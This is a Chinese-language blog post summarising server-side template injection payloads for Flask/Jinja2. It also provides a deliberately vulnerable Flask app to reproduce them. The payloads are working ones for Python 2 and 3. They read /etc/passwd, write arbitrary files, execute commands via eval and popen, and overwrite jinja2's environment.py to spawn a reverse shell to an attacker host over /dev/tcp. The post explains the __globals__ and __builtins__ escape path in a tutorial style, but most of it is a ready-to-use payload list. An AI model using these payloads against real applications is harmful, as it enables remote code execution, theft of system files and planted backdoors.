Flask jinja2模板注入思路总结
作者:CQITer小编 时间:2018-02-26 01:04
虽然这个漏洞已经出现很久了,不过偶尔还是能够看到。翻了翻freebuf上好像只有python2的一些payload,方法也不是很全。我找来找去也走了些弯路,小白们可以参考一下。如果有什么错误,欢迎各位指正。
漏洞简介漏洞原理可以参考
常见payload
ssti可以用于xss,不过这里不具体介绍; 前面两篇文章给出了几个比较常用的getshell的payload; 我会总结并补充一些。
python2:
#注入变量执行命令详见 #读文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} #写文件: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}也可以通过写jinja2的environment.py执行命令; jinja2的模板会load这个module,而且这个environment.py import了os模块, 所以只要能写这个文件,就可以执行任意命令:
#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell {{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}python3:
#命令执行: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} Go Deeper环境
这里给出的是vulhub的flask ssti漏洞环境 方便复现
#python3 #Flask version:0.12.2 #Jinja2: 2.10 from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run();__globals__
其实这些payload的思路大概都是一样的,从python的内置变量出发,通过调用各类型的一些隐藏属性(方法),从而得到我们需要的函数。
其中有一个属性 globals 很有意思,文档里这样解释:
__globals__: A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined. [Read-only]也就是说所有的函数都会有一个__globals__属性,它会以一个dict,返回函数所在模块命名空间中的所有变量。 举个例子:
outFuncVar = 2 def func(): inFuncVar = 1 pass print(func) print(func.__globals__) import os print(func.__globals__)这段代码输出
<function func at 0x000001A0B8777F28> {'outFuncVar': 2, , '__builtins__': <module 'builtins' (built-in)>} {'outFuncVar': 2, , 'os': <module 'os' from 'F:\\Python\\lib\\os.py'>, '__builtins__': <module 'builtins' (built-in)>}可以看到__globals__中会包括引入了的modules;同时每个python脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的built-in 函数,例如eval, exec, open等等。
>>> def test(): pass >>> test.__globals__['__builtins__'] <module 'builtins' (built-in)> >>> test.__globals__['__builtins__'].eval <built-in function eval> >>> test.__globals__['__builtins__'].exec <built-in function exec> >>> test.__globals__['__builtins__'].open <built-in function open>



